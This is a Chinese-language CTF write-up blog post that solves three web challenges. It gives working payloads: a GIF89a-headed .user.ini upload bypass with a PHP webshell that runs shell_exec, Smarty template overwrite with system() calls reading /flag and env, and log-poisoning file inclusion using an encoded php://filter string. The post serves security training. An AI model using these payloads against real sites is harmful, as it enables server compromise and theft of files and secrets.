CTF Week9 WP

Check in

根据提示,需要上传一个.user.ini文件,通过index.php以加载所上传的内容.

由于上传时添加了图片验证机制,而且不能上传以php类型为后缀的文件,因此需要在上传的文件头添加关于图片类型的文本,如GIF189a.

.user.ini文件内容为自动将图片文件解析为php

点击查看代码
1
2
GIF89a
auto_append_file="a.gif"

a.gif文件内容为shell代码.

点击查看代码
1
2
3
4
GIF89a
<?php
echo shell_exec("cat /flag")
?>

来源:题库

odd_upload

这个题是模板注入,容易发现该页面使用的是Smarty模板引擎. 由于禁止上传与php有关后缀的任何文件,而且可以将一个文件上传到任何位置,所以可尝试通过上传文件覆盖模板以执行我们需要的php代码.

上网查询发现模板文件为index.tpl,因此只要上传该文件名的文件来覆盖它即可.

文件名:index.tpl
保存路径:./templates/
文件内容:
点击查看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
{system('ls /')}
{system('cat /flag')}
{system('env')}
{phpinfo()}

{config_load file="test.conf" section="setup"}
{include file="header.tpl" title=foo}

<PRE>

{* bold and title are read from the config file *}
{if #bold#}<b>{/if}
{* capitalize the first letters of each word of the title *}
Title: {#title#|capitalize}
{if #bold#}</b>{/if}

The current date and time is {$smarty.now|date_format:"%Y-%m-%d %H:%M:%S"}

The value of global assigned variable $SCRIPT_NAME is {$SCRIPT_NAME}

Example of accessing server environment variable SERVER_NAME: {$smarty.server.SERVER_NAME}

The value of {ldelim}$Name{rdelim} is <b>{$Name}</b>

variable modifier example of {ldelim}$Name|upper{rdelim}

<b>{$Name|upper}</b>


An example of a section loop:

{section name=outer
loop=$FirstName}
{if $smarty.section.outer.index is odd by 2}
{$smarty.section.outer.rownum} . {$FirstName[outer]} {$LastName[outer]}
{else}
{$smarty.section.outer.rownum} * {$FirstName[outer]} {$LastName[outer]}
{/if}
{sectionelse}
none
{/section}

An example of section looped key values:

{section name=sec1 loop=$contacts}
phone: {$contacts[sec1].phone}
<br>

fax: {$contacts[sec1].fax}
<br>

cell: {$contacts[sec1].cell}
<br>
{/section}
<p>

testing strip tags
{strip}
<table border=0>
<tr>
<td>
<A HREF="{$SCRIPT_NAME}">
<font color="red">This is a test </font>
</A>
</td>
</tr>
</table>
{/strip}

</PRE>

This is an example of the html_select_date function:

<form>
{html_select_date start_year=1998 end_year=2010}
</form>

This is an example of the html_select_time function:

<form>
{html_select_time use_24_hours=false}
</form>

This is an example of the html_options function:

<form>
<select name=states>
{html_options values=$option_values selected=$option_selected output=$option_output}
</select>
</form>

{include file="footer.tpl"}

来源:题库

ez_cms

dirsearch扫描之后发现robots.txt,然后跟进h1nt.php,找到/db/user.db3,使用工具打开后发现登录账户密码:

密码是哈希过的,进行一下解密得到密码是attack.

发现了显示头像的请求地址为showImage.php,因此可以想到php的文件包含漏洞.

如何写入文件?发现登录时发送的请求数据里含一个值t,尝试利用这个参数.

通过不传参打开了showImage.php的源码,发现一个hint.php被过滤,用伪协议+编码的方式打开它,是一个目录树,其中有一个文件admin.php,利用showImage.php读一下这个文件的内容. 不难发现这里传的t是上次登录时间,而且它被写入到一个名为lastTime.txt的文件里.

然后再次登录,t那里传一个php代码,再次利用showImage.php读取登录日志文件,即可获得文件名flagg和文件内容.

注意读文件的时候要用伪协议,而且关键词有过滤,用html编码一下就可以了.

1
php://filter/conv%65rt.bas%6564-%65ncode/resource=cache/lastTime.txt

来源:题库


CTF Week9 WP
本文链接:http://blog.ac1liu.tech/p/18521609.html
发布时间
2024年11月2日
许可协议
转载说明
请注明出处!
发表评论